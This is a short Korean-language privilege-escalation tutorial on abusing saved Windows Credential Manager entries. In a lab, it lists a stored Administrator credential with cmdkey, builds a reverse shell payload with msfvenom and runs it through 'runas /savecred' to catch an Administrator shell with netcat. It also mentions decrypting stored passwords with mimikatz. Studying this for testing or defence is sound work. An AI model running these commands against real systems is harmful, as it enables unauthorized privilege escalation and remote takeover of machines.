Credential Manager

Credential Manager은 Windows에서 기본으로 제공하는 자격 증명 관리 서비스입니다. 우리가 매번 어떤 사용자의 자격 증명 정보를 입력하여 수행하는 대신 그 사용자의 정보를 매니저에 등록을 해두고, 최초 1회만 패스워드를 입력한다면 다음부터는 그 사용자의 패스워드를 입력하지 않아도 저장하고 관리하던 매니저를 통해 권한 가장이 가능합니다.

매니저에서 관리하는 정보는 C:\Users\user\AppData\Roaming\Microsoft\Credentials\ 하위에 저장됩니다. 위 경로에 저장된 파일은 DPAPI로 암호화가 되어있기 때문에 mimikatz와 같은 도구를 사용하여 평문 패스워드 복호화가 가능하기도 합니다.

Practice

cmdkey /list를 통해 사용할 수 있는 자격 증명 정보를 확인하면 Administrator 계정이 존재하는 것이 확인됩니다.

PS C:\Users\yeonu> cmdkey /list
cmdkey /list
...
    : Domain:target=127.0.0.1
    :  
    : Administrator
...

Administrator 계정의 권한으로 리버스 쉘 연결을 위해 msfvenom으로 리버스 쉘을 생성하고 Windows 로컬로 파일을 옮겨줍니다.

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.200.132 LPORT=9999 -f exe -o Reverse.exe

Reverse.exe 파일을 C:\Windows\Temp\Reverse.exe로 옮긴 후 runas 명령을 사용해서 Administrator 계정의 패스워드를 모르는 상태에도 가장하여 리버스 쉘을 연결합니다.

runas /u:Administrator /savecred "powershell -Command \"Start-Process 'C:\Windows\Temp\Reverse.exe'\""

명령을 실행하면 Administrator 계정의 쉘이 획득된 것이 확인됩니다.

┌──(root㉿kali)-[/tmp]
└─# nc -lvnp 9999
listening on [any] 9999 ...
connect to [192.168.200.132] from (UNKNOWN) [192.168.200.1] 57363
Microsoft Windows [Version 10.0.26100.2161]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\System32>whoami
whoami
\administrator

Last updated

Was this helpful?